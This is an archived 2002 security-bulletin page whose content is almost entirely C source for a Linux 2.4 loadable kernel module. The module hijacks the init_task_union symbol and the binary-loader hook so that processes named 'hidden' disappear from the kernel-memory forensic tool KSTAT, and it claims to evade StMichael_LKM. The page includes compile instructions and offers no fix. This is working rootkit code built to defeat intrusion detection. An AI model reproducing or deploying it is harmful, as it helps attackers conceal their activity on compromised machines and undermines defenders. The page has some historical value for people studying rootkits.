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TUCoPS :: Linux :: General :: lnx5588.htm

Hijacking kernel symbols and functions used to load binary formats



1st Aug 2002 [SBWID-5588]
COMMAND

	Hijacking kernel symbols and functions used to load binary formats

SYSTEMS AFFECTED

	2.4.x linux kernels

PROBLEM

	Dallachiesa Michele [xenion@acidlife.com]
	

	

	/*  2002-07-31#04:19

	 *

	 *  HIJACKING KERNEL SYMBOLS AND FUNCTIONS USED TO LOAD BINARY FORMATS

	 *  ------------------------------------------------------------------

	 *

	 *  With this module you can hide tasks to KSTAT, tool used to find 

	 *  attakers in your system by a direct analysis of the kernel throught

	 *  /dev/kmem. (http://www.s0ftpj.org ..)

	 *  StMichael_LKM 0.10 (default installation) won't detect it!

	 *

	 *  

	 *  working code for 2.4.x linux kernels.

	 *  compile: cc -c -I/usr/src/linux/include -O2 -Wall -o khideee.o khideee.c

	 *  (will hide all tasks with ->comm == "hidden")

	 * 

	 *  Dallachiesa Michele aka xenion

	 *  mail: xenion@acidlife.com

	 *  home: http://www.acidlife.com/mayhem/tba/

	 */

	

	

	#define HIDDEN_COMM "hidden"

	

	

	#define MODULE

	#define __KERNEL__

	

	#ifdef CONFIG_MODVERSIONS

	#define MODVERSIONS

	#include <linux/modversions.h>

	#endif

	

	#include <linux/kernel.h>

	#include <linux/module.h>

	#include <linux/malloc.h>

	

	

	struct task_struct *my_init_task;

	void            my_tasklist_init();

	void            my_tasklist_update();

	void            my_tasklist_hide();

	void            my_tasklist_free();

	

	struct module_symbol *get_symbol_addr(const char *);

	struct module_symbol *s_init_task_union;

	

	int             (*o_load_binary) (struct linux_binprm *,

					  struct pt_regs * regs);

	

	int             n_load_binary(struct linux_binprm *bprm,

				      struct pt_regs *regs);

	

	

	int

	init_module(void)

	{

	

	    s_init_task_union = get_symbol_addr("init_task_union");

	

	    my_tasklist_init();

	    my_tasklist_update();

	

	    s_init_task_union->value = (unsigned long) my_init_task;

	

	    o_load_binary = init_task.next_task->binfmt->load_binary;

	    init_task.next_task->binfmt->load_binary = n_load_binary;

	

	    return 0;

	}

	

	

	void

	cleanup_module(void)

	{

	    s_init_task_union->value = (unsigned long) &init_task;

	    my_tasklist_free();

	    init_task.next_task->binfmt->load_binary = o_load_binary;

	}

	

	

	int

	n_load_binary(struct linux_binprm *bprm, struct pt_regs *regs)

	{

	    char           *p,

	                   *P;

	

	    my_tasklist_update();

	    my_tasklist_hide();

	

	    for (p = P = bprm->filename; *p != '\0'; p++)

		if (*p == '/')

		    P = p + 1;

	

	    strncpy(my_init_task->prev_task->comm, P,

		    sizeof my_init_task->prev_task->comm);

	    my_init_task->prev_task->comm[15] = '\0';

	

	    return o_load_binary(bprm, regs);

	}

	

	

	struct module_symbol *

	get_symbol_addr(const char *name)

	{

	    struct module  *mod;

	    struct module_symbol *s;

	    int             i,

	                    found;

	

	    for (mod = THIS_MODULE; mod->next != NULL; mod = mod->next);

	

	    for (found = 0, s = mod->syms, i = 0; i < mod->nsyms; ++i, ++s)

		if (strstr(s->name, name) != NULL) {

		    ++found;

		    break;

		}

	

	    if (!found)

		return NULL;

	

	    return s;

	}

	

	

	void

	my_tasklist_init()

	{

	    my_init_task =

		(struct task_struct *) kmalloc(sizeof(struct task_struct),

					       GFP_KERNEL);

	    if (!my_init_task)

		return;

	

	    memcpy(my_init_task, &init_task, sizeof(struct task_struct));

	

	    my_init_task->next_task = my_init_task;

	    my_init_task->prev_task = my_init_task;

	}

	

	

	void

	my_tasklist_update()

	{

	    struct task_struct *p,

	                   *P,

	                   *tmp;

	

	    if (!my_init_task)

		return;

	

	    P = my_init_task;

	    p = &init_task;

	

	    if (my_init_task != my_init_task->next_task) {	// not the first

	

		while (P->next_task != my_init_task &&

		       p->next_task != &init_task &&

		       p->next_task->pid == P->next_task->pid) {

		    p = p->next_task;

		    P = P->next_task;

		}

	

		while (my_init_task->prev_task != P) {

		    tmp = my_init_task->prev_task;

		    my_init_task->prev_task = my_init_task->prev_task->prev_task;

		    kfree(tmp);

		}

	

	    }

	

	    for (p = p->next_task, tmp = P; p != &init_task; p = p->next_task) {

		P = (struct task_struct *) kmalloc(sizeof(struct task_struct),

						   GFP_KERNEL);

		if (!P)

		    return;

		memcpy(P, p, sizeof(struct task_struct));

		P->next_task = my_init_task;

		P->prev_task = tmp;

		tmp->next_task = P;

		tmp = P;

	    }

	

	    my_init_task->prev_task = P;

	}

	

	

	void

	my_tasklist_free()

	{

	    struct task_struct *p;

	

	    p = my_init_task;

	

	    while (p->next_task != my_init_task) {

		p = p->next_task;

		kfree(p->prev_task);

	    }

	

	    kfree(p);

	}

	

	

	void

	my_tasklist_hide()

	{

	    struct task_struct *p,

	                   *tmp;

	

	    for (p = my_init_task; (p = p->next_task) != my_init_task;)

		if (strcmp(p->comm, HIDDEN_COMM) == 0) {

		    p->prev_task->next_task = p->next_task;

		    p->next_task->prev_task = p->prev_task;

		    tmp = p;

		    p = p->prev_task;

		    kfree(tmp);

		}

	}

	

	

	/*

	 * EOF 

	 */

	

SOLUTION

	?


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